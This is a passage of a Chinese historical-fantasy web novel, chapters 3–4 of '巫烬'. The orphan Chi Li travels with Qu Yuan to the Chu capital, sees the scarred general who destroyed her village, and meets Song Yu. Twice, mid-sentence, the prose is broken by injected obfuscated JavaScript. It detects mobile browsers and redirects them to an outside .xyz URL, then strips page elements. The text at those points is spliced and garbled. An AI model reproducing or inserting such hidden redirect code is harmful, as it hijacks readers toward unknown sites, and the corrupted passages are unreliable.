《巫烬》 3. 郢都暗流 汨罗江畔的湿寒被屈子茅屋的暖意驱散,却也驱不散赤璃心底凝结的、名为仇恨与恐惧的冰霜。盘瓠寨的血腥屠戮如同最深的烙印,深深刻入骨髓,在每一个寂静的深夜化为无声的嘶喊和冰冷的刀光,惊醒时只余一身冷汗和肩胛下那螭形印记沉闷的、警示般的搏动。怀中的巴魂玉,是唯一能带来些许暖意与慰藉的存在,提醒着她血脉深处沉重的根,也像一颗埋下的种子。 屈子待她极好,如待易折的兰草。他亲自为她清洗伤口、更换草药,熬煮滋养的米粥,甚至寻来干净的粗布衣裳替换她那身沾满血污的麻布裙。他言语不多,却总在赤璃被噩梦魇住、浑身冰冷颤抖时,用那双覆着薄茧、带着清苦药香和墨香的手,轻轻拍抚她的背脊,低声吟诵几句《九歌》的片段。那古老悠扬、带着神秘力量的调子,奇异地能穿透噩梦的迷雾,安抚她惊悸欲裂的魂魄。 “赤璃,”他总这样唤她,声音温和而郑重,每一次呼唤都像是在确认她的新生,“此处便是你的家,安心将养。” 赤璃用力点头,将“红”这个名字连同那个被火焰吞噬的寨子,一起深深埋进心底最黑暗的角落,用泥土层层掩埋。她学着屈子的样子,帮忙晾晒药草,清扫庭院,在江边清洗沾了泥污的衣物。她沉默而勤快,眼神却常常失焦,凝望着汨罗江浑浊的、奔流不息的江水,仿佛能从中窥见那夜冲天的火光与爹娘最后凝固的、充满嘱托的眼神。 巴魂玉被她用一根坚韧的麻绳仔细系好,贴身藏在最里层衣物之下,紧贴着那滚烫的胎记。只有这枚小小的深红玉石和肩胛下的灼热,是盘瓠寨留给她最后的、活着的凭证,是她不能遗忘的根。屈子似乎察觉到她怀揣着极其重要、关乎性命的秘密之物,却从未开口询问,只是在她偶尔下意识捂住胸口、流露出警惕神色时,投来洞悉而悲悯的一瞥,那眼神仿佛在说:我懂。 半月后,赤璃的外伤已大致愈合结痂,只是气血亏损得厉害,小脸依旧苍白得没有多少血色,像一朵失了水分的兰草。屈子看着窗外铅灰色、仿佛永远化不开的天空,终于决定带她离开汨罗江畔的茅屋。 “郢都,楚国国都,”屈子收拾着简单的行囊,几卷视若珍宝的竹简,几包路上可能用到的草药,语气平静无波,眼神却掠过窗外铅灰的天空,带着一丝沉重,“老夫……需得回去。”那“需得”二字,咬得极重,充满了身不由己的无奈。 赤璃的心猛地一缩,像被冰冷的爪子狠狠攥紧,几乎停止跳动!郢都!那正是楚兵出发屠戮盘瓠寨的地方!是那个脸上有刀疤、如同噩梦的楚将效命的地方!恐惧如同冰冷的毒蛇,瞬间缠绕住她的心脏,毒牙刺入,让她浑身发冷,指尖冰凉。 屈子似乎看穿了她瞬间煞白的小脸和攥得骨节发白的拳头。他放下手中的药篓,走到她面前,蹲下身,目光与她平视,那双墨玉般的眼眸里,是深不见底的沉静与一种令人信服的、磐石般的力量。 “莫怕,赤璃。”他声音低沉,带着抚慰人心的力量,每一个字都清晰而郑重,“在郢都,你只是老夫在江边救下的孤女,名唤赤璃。无人会知晓你的过往,亦无人会探究你的来历。记住,”他顿了顿,语气加重,一字一句清晰地烙印在她心上,如同最后的护身符,“过去种种,皆已沉入汨罗江底。你只需记得‘赤璃’二字,记得老夫。” 赤璃望着他鬓角刺目的霜白和眉间那深刻得如同刀刻的川字纹,那里面仿佛蕴藏着比她所经历的更深重的苦痛与无奈。 爹说过,他是好人。 她用力吞咽下喉头翻涌的恐惧和腥甜,指甲深深掐入掌心,用尽全身力气,重重地点了点头。为了活下去,为了爹娘用命换来的这条命,为了怀中的巴魂玉,她必须成为“赤璃”,一个与盘瓠寨再无瓜葛的山中遗孤。 这是活下去的唯一生路。 --- 牛车在官道上吱呀作响,像个喘不过气的老人,缓慢地碾过坑洼不平的路面。 赤璃缩在屈子身边,粗布衣裳蹭着皮肤,有点粗糙的痒。她把脸贴在车壁上,透过竹篾的缝隙往外看。路两旁的稻田绿得晃眼,风吹过,稻浪翻滚,本该是生机勃勃的景象。可田埂上、树荫下,那些衣衫褴褛、面黄肌瘦的流民,破败的身影却比稻浪更刺目,像大地上一块块丑陋的疮疤。 "屈爷爷,他们……为什么不回家?"她小声问,手指无意识地抠着车板上的裂纹,仿佛那裂纹能通向答案。 屈原正在看竹简的手顿了顿,目光越过她小小的肩头,投向远处一个抱着枯瘦婴儿、茫然伸手乞讨的妇人,眼神沉痛:"他们的家……被大水淹了,或是被兵祸烧了。"声音干涩。 赤璃的心口猛地一揪,像是被一只无形的手攥住。她想起盘瓠寨那夜冲天的火光,那吞噬一切的烈焰。她不再说话,只是把屈子的衣角抓得更紧,仿佛那是唯一的浮木。巴魂玉藏在衣襟里,贴着心口,传递着微弱却固执的暖意。左肩胛的胎记这一路都很安静,像蛰伏在暗处的小兽。 老荆赶着车,突然剧烈地咳嗽了两声,打破了沉闷:"大夫,前面……快到郢都了。" 赤璃的心一下子提到了嗓子眼,砰砰狂跳。她猛地扒开车帘往外看——远处的地平线上,一道灰黑色的线拔地而起,越来越高,越来越厚,像一条匍匐在广阔平原上的、沉睡的巨蟒,散发着冰冷威严的气息。那是郢都的城墙。 "别怕。"屈子的声音在头顶响起,带着一种奇异的镇定力量。他合上竹简,放在膝头,目光沉静地望向那越来越近的巨兽,"有我在。" 可赤璃还是怕。指尖冰凉。她想起爹粗糙的手掌拍着她的头,说过山下的大城市里有很多坏人,比山里的老虎还凶。尤其是那些穿着闪亮盔甲的楚兵,他们的刀,比昭虎的獠牙还要尖利冰冷。 牛车渐渐汇入汹涌的人流。路边的景象变得杂乱喧嚣。有青砖黛瓦的深宅大院,也有低矮破败、摇摇欲坠的茅草屋。穿着华美绸衣的贵人坐在装饰精美的马车上,不耐烦地用鞭子抽赶挡路的乞丐和流民。抱着破旧琵琶的卖唱女子倚在墙角,嗓子哑得像被砂纸磨过,唱出的调子哀怨凄惶。空气中混杂着汗味、尘土味、牲畜的臊气,还有若有若无的……血腥气?赤璃胃里一阵翻腾,把脸深深埋进屈子带着墨香和药草清苦气息的袖子里,那里是她此刻唯一能抓住的安稳港湾。 --- 郢都的城门高耸入云,比盘瓠寨的图腾柱还要巍峨压抑。黑漆漆的城门洞深不见底,像一张择人而噬的怪兽巨口。守城的楚兵穿着锃亮的皮甲,手中的长戟在惨淡的阳光下闪着刺骨的寒光,眼神冷漠地扫视着每一个进城的人。 "排队!都排队!仔细查验!"一个满脸横肉的守卫头目用戟柄重重敲击着地面,声音如同闷雷炸响。 牛车随着人流慢慢往前挪动,每一步都像踩在刀尖上。赤璃看见士兵粗暴地将一个挑着沉重柴捆的农夫推搡在地,柴捆散落一地。农夫狼狈地爬起来,脸上是敢怒不敢言的麻木,只能慌忙去捡拾散落的柴火。 "下一个!" 轮到他们时,那胖脸的守卫头目斜睨着赶车的老荆,目光像刀子:"车上装的什么?" "回军爷,是三闾大夫的书简。"老荆连忙下车,恭恭敬敬地躬身回答,声音带着卑微。 "三闾大夫?"胖守卫的小眼睛亮了亮,带着一丝谄媚和审视,一把掀开车帘。他的目光落在屈子身上时,立刻堆起虚伪的假笑,声音拔高了几分:"哟!屈大夫!您老回来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16443086|185055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?怎么……怎么坐这种破车?有失身份呐!" 屈子端坐车内,眼皮都未抬,只淡淡"嗯"了一声,算是回应,那姿态清冷孤高,与周围的环境格格不入。 胖守卫讨了个没趣,目光又像苍蝇一样黏在赤璃身上扫来扫去,带着毫不掩饰的探究和一丝下流的意味:"这小丫头片子……哪来的?瞧着挺野性,不像咱楚地的娃啊?" 赤璃的心猛地一缩,像被毒蛇盯上,浑身汗毛倒竖,下意识往屈子身后缩去,小手死死抓住他的衣摆。 "途中收留的山中遗孤。"屈子微微侧身,将她严严实实护在身后,语气平静无波,却带着一种不容置疑的威严,目光冷冷扫过那守卫。 "遗孤?"胖守卫嘿嘿干笑起来,露出黄黑的牙齿,还想再说什么。 就在这时!远处突然传来一阵急促的马蹄声和嚣张的呵斥: "让开!都让开!昭虎将军车驾回城!挡路者死!" 赤璃的血液瞬间冻住了!浑身的力气仿佛被瞬间抽空! 昭将军?哪个昭将军?! 她几乎是凭着本能,猛地掀开一点车帘缝隙,不顾一切地往外望去—— 一队盔甲鲜明、杀气腾腾的骑兵簇拥着一辆通体漆黑、车辕上雕刻着狰狞猛虎徽记的战车疾驰而来!阳光照在那只张牙舞爪的金色虎头上,刺目得让她眼睛生疼!那徽记……那徽记像烧红的烙铁,狠狠烫进她的眼底!她记得!就是那个楚将腰间那块玉佩上的虎! 是他!是那个杀了阿爹阿娘、烧了寨子、将她推入地狱的恶魔! 左肩胛的胎记骤然滚烫起来!像有块烧红的烙铁直接摁在皮肤上!赤璃疼得浑身剧烈一抖,喉咙里发出一声压抑的呜咽,指甲深深掐进掌心,几乎要抠出血来!她想冲出去!想尖叫!想把那块滚烫的巴魂玉狠狠砸向那辆象征着死亡的战车!全身的血液都在沸腾、咆哮! "赤璃。" 一只温暖而有力的大手突然覆在她冰冷颤抖的小手上。是屈子。他的掌心带着一层薄茧,磨得她生疼,却像定海神针般奇异地稳住了她濒临崩溃的身体和灵魂。他的声音依旧平静,甚至没有提高半分,却像一块沉重的石头投入喧嚣的浊水,让周围的嘈杂瞬间安静了一瞬。 "老荆,靠边。"屈子的声音清晰传来。 老荆连忙将牛车费力地赶到路边最边缘。那辆漆黑如棺椁的战车卷着尘土呼啸而过,带起的劲风掀开车帘,冰冷的尘土劈头盖脸溅了赤璃一身一脸。她死死盯着那晃动的车帘,眼睛瞪得几乎要裂开,仿佛要将那厚厚的帘布盯穿!她好像看到车里面伸出一只戴着硕大碧玉扳指的手,懒洋洋地撩开车帘一角,露出一张脸的下半部分—— 是他!虽然只看到半张脸和那道标志性的、从眼角划至下颌的、如同蜈蚣般狰狞的刀疤!那刀疤像地狱的印记,瞬间点燃了她眼底的熊熊恨火! 战车和骑兵卷起的烟尘弥漫了许久才散去。赤璃的身体还在不受控制地剧烈颤抖,牙齿咬得咯咯作响。屈子的手一直没有松开,他掌心的温度透过被冷汗浸湿的薄薄衣衫传过来,带着一种沉稳的力量,一点点熨帖着她冰凉僵硬的手指和沸腾的恨意。 "进……进去吧!"胖守卫被刚才的阵仗吓住,又被屈子刚才的眼神震慑,哪里还敢再盘问,连忙挥手放行,声音都带着颤。 牛车缓缓驶进那深不见底的城门洞的瞬间,一股阴冷、压抑、混杂着铁锈和腐朽气息的风扑面而来。赤璃突然觉得胸口像压了一块巨石,喘不过气,眼前阵阵发黑。 这就是郢都。 是楚将的城。 是吞噬了她所有亲人和家园的巨兽巢穴。 她的仇人,就在这座城里。近在咫尺。 4. 南郊小院 牛车碾过郢都城内坑洼的石板路,每一次颠簸都像踩在赤璃紧绷欲断的心弦上。她蜷缩在车厢最深的阴影里,像只受惊的幼兽,城门洞的阴寒和昭虎那道刀疤带来的灭顶恐惧,依旧死死攫着她的四肢百骸。车外,高耸的屋宇如同沉默的巨兽,投下令人窒息的压迫感。她不敢再看,将脸深深埋进屈子衣袖,贪婪汲取着那点墨香混着药草清苦的气息——这是她此刻唯一的锚点。怀中的巴魂玉紧贴着心口,固执地传递着微弱的暖意,左肩胛的胎记却沉寂如死,仿佛也被这座冰冷庞大的都城震慑,暂时蛰伏。 “到了。” 老荆沙哑的声音带着疲惫,终于打破令人窒息的沉默。 牛车停住。 赤璃怯怯抬眼。 一方小小的院落撞入眼帘,像一头盘踞在喧嚣巨兽脚边的、倔强喘息的小兽。低矮的土墙爬满深绿藤蔓,一扇半旧的木门虚掩,透出几分人间烟火。门楣上,一束风干的泽兰在风中轻轻摇曳,无声诉说着主人的风骨——与城内那些朱门高墙、戒备森严的府邸格格不入。 这便是屈子在郢都风暴中的孤岛——南郊小院。 “大夫可算回来了!” 爽朗的女声带着暖意迎出。荆娘快步上前,脸上是毫不作伪的淳朴笑意,目光落在屈子身后那个苍白瑟缩的小身影上,瞬间化作柔软的慈爱。 “这就是赤璃姑娘吧?可怜见的,快进来!热水备好了,去去寒气!” 那声音像滚烫的姜汤,瞬间驱散了赤璃心头几分蚀骨的冰冷。 她局促地下车,学着屈子的样子,对荆娘微微躬身,声音细若蚊蚋:“谢谢荆姨。” 小院不大,却处处透着用心。墙角几丛青翠药草散发安神幽香,竹竿上晾晒的粗布衣裳在阳光下投下斑驳影子,一小块开垦整齐的菜畦里,嫩绿的菜苗生机勃勃地探头。正屋三间,其中一间厢房门敞开着,阳光透过窗棂,洒在铺着干净柔软被褥的木榻上,暖融融的光斑跳跃——那是为她准备的。 “赤璃,” 屈子指向那间充满阳光的小屋,声音温和却带着千钧之重, “此间便是汝家。荆娘老荆,皆如家人。” “家”…… 这个字眼像烧红的针,狠狠刺进赤璃心底。盘瓠寨的灰烬、爹娘凝固的眼神瞬间翻涌!她用力抿紧唇,将喉头的酸涩和眼眶的灼热死死压下,才挤出低哑的声音: “谢谢屈爷爷,谢谢荆姨,谢谢荆伯。”尾音带着不易察觉的颤抖。 “谢啥!往后就是一家人了!” 荆娘笑着拉起她冰凉的小手,那掌心的暖意让赤璃微微一颤。妇人手脚麻利地打来热水,取出一套崭新的粗布衣裙,虽简朴,却浆洗得极柔软,带着阳光蓬松的气息。 温热的水流拂过脸颊颈项,洗去一路风尘,也仿佛暂时涤去了些许沉重。换上干净柔软的衣裳,赤璃才觉呼吸顺畅了几分。走出厢房,屈子已端坐堂屋矮几旁,一卷厚重的竹简摊开。老荆在院中安静地整理行李。 “赤璃,”屈子放下竹简,抬眼看她,招招手,“来。” 她依言跪坐过去,带着几分拘谨。屈子从袖中取出一卷打磨光滑的空白竹简,递过一支小巧锋利的青铜刻刀。刀柄微凉,沉甸甸地压在她掌心。 “识字,乃明理之始,立身之基。” 老者声音沉凝,带着师者的威严, “今日起,授你识文断字。先识己名。” 他执起刻刀,骨节分明的手指稳如磐石,在光洁竹片上缓慢刻下两个古朴遒劲的楚篆——“赤”、“璃”。刀锋划过竹片,沙沙轻响,每一笔转折都似蕴含着天地至理,力透竹背。 “赤璃。”屈子指尖点着那仿佛拥有生命的字迹,“此即汝名。” 赤璃屏住呼吸,小心翼翼地握紧刻刀。指尖触到冰冷的青铜和温润的竹片,心头莫名一悸,一种近乎神圣的庄严感油然而生。她学着屈子的样子,笨拙地在旁刻下歪歪扭扭的“赤”字,力道不均,刻痕深浅不一,字形难看。 “无妨,” 屈子眼中带着鼓励的暖意,驱散她的窘迫, “初学如此,甚好。笔为刀,字为心,贵在诚。” 他指着那稚拙的“赤”字, “此字,已见筋骨。” 阳光穿过窗棂,将一老一少伏案的身影投在地上,拉得很长。灶间传来荆娘轻快的锅碗声和诱人饭香,院中老荆劈柴的节奏沉稳有力。这一刻的安宁,像一层薄脆的琉璃,小心翼翼地包裹住赤璃伤痕累累的心,给予她片刻喘息。 然而—— 当她屏息刻向“璃”字最后一笔时,脑中猝然闪过城门洞中那道冰冷的刀疤、战车上狰狞的虎头徽记! 指尖猛地失控,刻刀在竹片上划出一道刺耳尖锐、深可见骨的豁口! 左肩胛下,沉寂的胎记骤然传来一丝闷热,如同深渊中蛰伏之物无声的警示。 这看似安宁的南郊小院,真能隔绝郢都那噬人的暗流么? 赤璃死死攥紧手中的刻刀,那冰冷的触感,竟与怀中那枚温润的巴魂玉,生出一种奇异的、令人心悸的相似。 ------ 数日后,一个难得的晴朗午后。 赤璃正蹲在菜畦边,学着荆娘的样子,笨拙地给刚冒头的嫩绿菘菜浇水。水瓢在她手里不听使唤,一歪,水线便冲倒了几株脆弱的幼苗。她手忙脚乱想去扶,指尖沾满湿泥。 “阿璃莫急,” 荆娘在一旁看着,忍不住笑,声音里满是包容。 “水要这样,像捧着初生的雀儿,轻轻泼洒……”话音未落。 叩、叩、叩。 院门被轻轻叩响,声音温润有礼,却打破了小院的宁静。 老荆应声开门。门外站着一个身着素色深衣的青年。约莫十七八岁,身姿颀长挺拔,如初春新竹。面容清俊,眉眼温润似含山间清泉,唇角噙着一抹谦和笑意。他怀中捧着几卷竹简,姿态恭敬,通身书卷清气,与这南郊小院的简朴格格不入,又奇异地和谐。 “老荆叔,” 声音清朗温润,如玉磬轻击。 “学生宋玉,前来向先生请教学问。” 赤璃下意识抬起头。 目光撞上。 宋玉的视线不经意扫过院中,落在她沾满泥点的小脸和手上时,微微一顿。那恰到好处的讶异瞬间化作温和的探询,如同暖阳拂过新雪。他朝她微微颔首致意,姿态优雅自然,没有丝毫居高临下。 赤璃有些慌乱地站起身,沾着泥的手指在粗布衣襟上蹭了又蹭,留下几道难看的湿痕。眼前这人……太干净了。不是荆娘那种烟火气的干净,也不是屈爷爷饱经风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16443087|185055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霜的沉郁,而是一种属于书斋、属于文墨、不染尘埃的清贵。她猛地想起屈子偶尔提及的那个“天资颖悟”的晚来弟子。 “赤璃,” 屈子的声音适时从书房传来,带着一丝不易察觉的暖意 “来见过你宋玉师兄。” 赤璃依言走过去,在书房门口站定。学着屈子教的礼仪,她有些僵硬地躬身,行了一个不甚标准的揖礼,声音细得像蚊蚋。 “赤璃……见过师兄。” 宋玉眼中笑意更深,郑重其事地躬身还礼,姿态比赤璃标准得多,却毫无敷衍 “宋玉见过赤璃师妹。” 他声音清越悦耳 “初次相见,师妹安好。日后同在先生门下,若有疑难,不必拘束,随时可询。” 目光坦荡真诚,没有丝毫轻视,仿佛她不是个泥腿子小孤女,而是真正的同窗。 “赤璃初学识字,宋玉,你来得正好。” 屈子示意宋玉落座,转向赤璃,目光落在她身上,“今日习《离骚》首句,‘帝高阳之苗裔兮,朕皇考曰伯庸’。宋玉,你为赤璃讲解‘苗裔’、‘皇考’之意。” “学生遵命。” 宋玉应声,转向赤璃。他并未因她年幼或初学而简化敷衍,声音清朗如溪流,引经据典,却将那些深奥晦涩的词义掰开揉碎,用最平实的言语娓娓道来。讲到“苗裔”,他目光扫过赤璃,带着一种对生命源流的深沉尊重;提及“皇考”,语气则染上庄重的追思,仿佛在描摹一幅古老庄严的宗庙画卷。 赤璃听得入了神。宋玉的话语如同清澈的泉水,冲刷着她心头对文字的懵懂与隔阂。那些符号似乎第一次有了温度。她忍不住脱口问道,带着一丝不确定的试探。 “师兄,‘皇考’……是不是就像……像寨子里最敬重的祖灵?”盘瓠寨那高耸的赤螭图腾柱在脑中一闪而过。 宋玉眼中瞬间掠过一丝明亮的赞赏 “师妹颖悟!‘皇考’乃是对已故父亲的尊称,敬其如神明先祖。血脉相承,精神不灭,此即‘苗裔’之重!”他语带铿锵。 血脉相承,精神不灭 赤璃心头猛地一悸!像是被无形的指尖猝然点中!她下意识地抚上心口——隔着粗布衣衫,那枚紧贴皮肉的巴魂玉,骤然传来一阵清晰而灼热的脉动!仿佛沉睡的魂灵被这八个字惊醒!她似懂非懂,只觉得胸腔里有什么沉甸甸的东西被狠狠撞了一下,激荡回响。 屈子在一旁静静听着,清癯的脸上掠过一丝难得的、近乎欣慰的柔和。他看着眼前这对少年弟子:一个如蒙尘璞玉,亟待雕琢;一个似新竹拔节,清姿初显。在这郢都风雨欲来的沉郁中,仿佛窥见了一丝穿透阴霾的微光。 “宋玉,”屈子待讲解告一段落,开口道,声音里带着托付 “赤璃初学,根基尚浅。你若有闲暇,可多来指点她习字明理。” “学生谨记。” 宋玉恭敬应下,看向赤璃的目光更加温煦包容,带着鼓励 “师妹天资聪颖,假以时日,定能通晓文理,不负先生厚望。” 赤璃被他看得耳根微热,慌忙低下头,手指无意识地绞紧了衣角。阳光透过窗棂,将细碎的金尘洒在三人身上,书房内弥漫着竹简的陈香、墨的微涩,以及一种名为“传承”的、无声流淌的暖意与希望。